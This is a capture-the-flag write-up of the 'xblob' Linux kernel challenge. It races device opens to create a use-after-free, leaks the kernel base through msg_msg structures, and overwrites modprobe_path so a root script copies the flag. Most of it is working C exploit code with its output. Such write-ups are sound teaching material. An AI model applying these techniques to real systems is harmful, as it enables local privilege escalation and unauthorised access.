Securinets CTF Quals 2022 - xblob

eXclusive BLOB

nc 167.99.37.61 9001

Attachment: xblob.tar xpl.py pwn.c

xblob was a kernel challenge, which provided a device, that can be used to read and write to a global buffer g_buf in the kernel.

The memory for g_buf gets allocated when opening the device:

static int module_open(struct inode *inode, struct file *file)
{
  if (mutex)
    return -EBUSY;
  else
    mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf)
    return -ENOMEM;

  return 0;
}

It uses a mutex variable there to check, if the file is already opened and disallows opening in that case.

On closing the file, it frees g_buf without zeroing it out, which could potentially lead to an use-after-free.

static int module_close(struct inode *inode, struct file *file)
{
  kfree(g_buf);
  mutex = 0;
  return 0;
}

From a first glance, mutex will prevent, that we open the device twice. But it doesn’t use real locks and only checks on the mutex variable when entering module_open. So, if we manage to enter module_open twice, before it sets mutex, we could leverage the use-after-free.

For this, I just used a thread and repeated opening the file in the background thread and current process until I got two valid file handles.

int fd1 = -1;
int fd2 = -1;

void doopen(void* args) {
    fd2= open("/dev/xblob", O_RDWR);
}

int main()
{    
    printf("[+] Try to race device opening to get two open fds\n");
    char buffer[0x1000];
    memset(buffer, 0, 0x1000);

    pthread_t thread, thread2;

    while(fd1 < 0 || fd2 < 0) {
        fd1 = -1;
        fd2 = -1;

        pthread_create(&thread, NULL, doopen, NULL);
        fd1 = open("/dev/xblob", O_RDWR);
        pthread_join(thread, NULL);

        if (fd1 <0 || fd2 < 0) {
            close(fd1);
            close(fd2);
        }
    }
    
    printf("[+] Double open (%d / %d)\n", fd1, fd2);
...

This might take some time, but at some point, it’ll succeed and we’ll have two file handles.

We can now close one of those handles, which will free g_buf, while the other file handle can still be used to read and write from g_buf.

From here, we’ll just have to leak kernel base and can then use the usual modprobe_path exploitation to copy the flag to an accessable directory, change the file permissions and read it from there.

For leaking, I allocated a msg_msg struct into the freed g_buf. We can then use the device read to read the msg_msg header and overwrite the size of it. With another msg_recv we can then read everything behind the msg_msg struct.

Spraying the heap with some shmem structs will give us a quite reliable leak.

printf("[+] Free g_buf by closing one fd\n");
close(fd1);

printf("[+] Allocate msg_msg into freed g_buf\n");
int msgid = msgalloc(qid, buffer, 0x100-0x10);

printf("[+] Read msg_msg header into buffer\n");
read(fd2, buffer, 0x100);
        
printf("[+] Increase msg_msg size via device write\n");
unsigned long *ptr = buffer+0x18;
*ptr = 0x1000;

write(fd2, buffer, 0x20);

printf("[+] Spray...\n");
spray_shmem(20, 0x100);
    
printf("[+] Try to leak kernel base\n");
msgrcv(qid, buffer, 0x1000, 1, 0);
    
unsigned long kleak = 0;

for(int i=0; i<0x1000; i+=8) {
    ptr = buffer+i;

    if (((*ptr) & (0xfff)) == 0xbc0) {
        kleak = *ptr;
        break;
    }
}

unsigned long kbase = kleak - 0xeb2bc0;
unsigned long modprobe_path = kbase + 0xe37e20;

printf("- kernel leak : %p\n", kleak);
printf("- kernel base : %p\n", kbase);
printf("- modprobe    : %p\n", modprobe_path);
    
if(kleak == 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
}

Since the msg_msg struct will also be freed after msg_recv, we can now use the device write to overwrite the FD pointer of the free chunk with an address slightly above modprobe_path.

printf("[+] Overwrite fd to point above modprobe_path\n");
memset(buffer, 0, 0x100);

ptr = buffer;

*(ptr++) = 0xdead000000000100;
*(ptr++) = 0xdead000000000122;

ptr = buffer + 0x80;
*ptr = modprobe_path-0x30;

write(fd2, buffer, 0x100);

Now, we just have to allocate chunks until the free chunk in g_buf is hit, after which our fake chunk would then get allocated.

With another allocation, we can then overwrite modprobe_path.

printf("[+] Prepare modprobe scripts\n");

system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
 
...

printf("[+] Reallocate freed chunk\n");

while(hit == 0) {
    memset(buffer, 0, 0x100);
    strcpy(buffer+0x30, "/tmp/copy.sh\x00");        
    msgalloc(qid2, buffer, 0x100);
    memset(buffer, 0x0, 0x100);
    read(fd2, buffer, 0x100);

    // Check, if chunk in g_buf got allocated
    if (buffer[0x30] == '/') {
        hit = 1;
    }        
}

// overwrite modprobe_path
printf("[+] Overwrite modprobe_path\n");
memset(buffer, 0, 0x100);
strcpy(buffer+0x30, "/tmp/copy.sh\x00");        
msgalloc(qid2, buffer, 0x100);

modprobe_path will now contain /tmp/copy.sh, so we just have to trigger modprobe, which will copy the flag from /root/flag.txt to /tmp/flag and make it readable.

// Execute modprobe_path exploitation
system("/tmp/dummy");
system("cat /tmp/flag");
$ python xpl.py 1
[*] Compile
[+] Opening connection to 167.99.37.61 on port 9001: Done
[+] Starting local process './exec.sh': pid 37248
[*] Process './exec.sh' stopped with exit code 0 (pid 37248)
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn
[+] Prepare modprobe scripts
[+] Open msg_msg queues
[+] Try to race device opening to get two open fds
[+] Double open (3 / 4)
[+] Free g_buf by closing one fd
[+] Allocate msg_msg into freed g_buf
[+] Read msg_msg header into buffer
[+] Increase msg_msg size via device write
[+] Spray...
[+] spray shmem structs
[+] Try to leak kernel base
- kernel leak : 0xffffffffb72b2bc0
- kernel base : 0xffffffffb6400000
- modprobe    : 0xffffffffb7237e20
[+] Overwrite fd to point above modprobe_path
[+] Reallocate freed chunk
[+] Overwrite modprobe_path
/tmp/dummy: line 1: \xff\xff\xff\xff: not found
securinets{1t's_v3ry_h4rd_2_byp4ss_SMAP_by_4bus1ng_timerfd_ctx}